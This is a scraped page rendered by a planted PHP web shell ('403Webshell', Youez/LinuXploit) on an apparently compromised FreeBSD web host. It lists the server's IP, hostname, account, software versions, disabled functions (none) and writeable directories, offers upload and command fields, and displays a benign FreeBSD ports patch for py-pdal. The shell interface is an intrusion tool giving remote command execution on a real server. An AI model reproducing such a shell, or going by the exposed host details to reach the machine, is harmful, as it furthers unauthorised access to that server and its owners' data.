403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/math/py-pdal/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/math/py-pdal/files/patch-2to3
--- pdal/pipeline.py.orig	2021-11-24 10:30:42 UTC
+++ pdal/pipeline.py
@@ -1,5 +1,5 @@
-from __future__ import annotations
 
+
 import json
 import logging
 from typing import Any, Container, Dict, Iterator, List, Optional, Sequence, Union, cast
@@ -19,7 +19,7 @@ LogLevelToPDAL = {
     logging.INFO: 2,
     logging.DEBUG: 8,  # pdal::LogLevel::Debug5
 }
-LogLevelFromPDAL = {v: k for k, v in LogLevelToPDAL.items()}
+LogLevelFromPDAL = {v: k for k, v in list(LogLevelToPDAL.items())}
 
 
 class Pipeline(libpdalpython.Pipeline):
@@ -106,7 +106,7 @@ class Pipeline(libpdalpython.Pipeline):
         if all(isinstance(stage, Reader) for stage in stages):
             stages = [*stages, Filter.merge()]
         for stage in stages:
-            stage2tag[stage] = stage.tag or _generate_tag(stage, stage2tag.values())
+            stage2tag[stage] = stage.tag or _generate_tag(stage, list(stage2tag.values()))
             options = stage.options
             options["tag"] = stage2tag[stage]
             inputs = _get_input_tags(stage, stage2tag)

Youez - 2016 - github.com/yon3zu
LinuXploit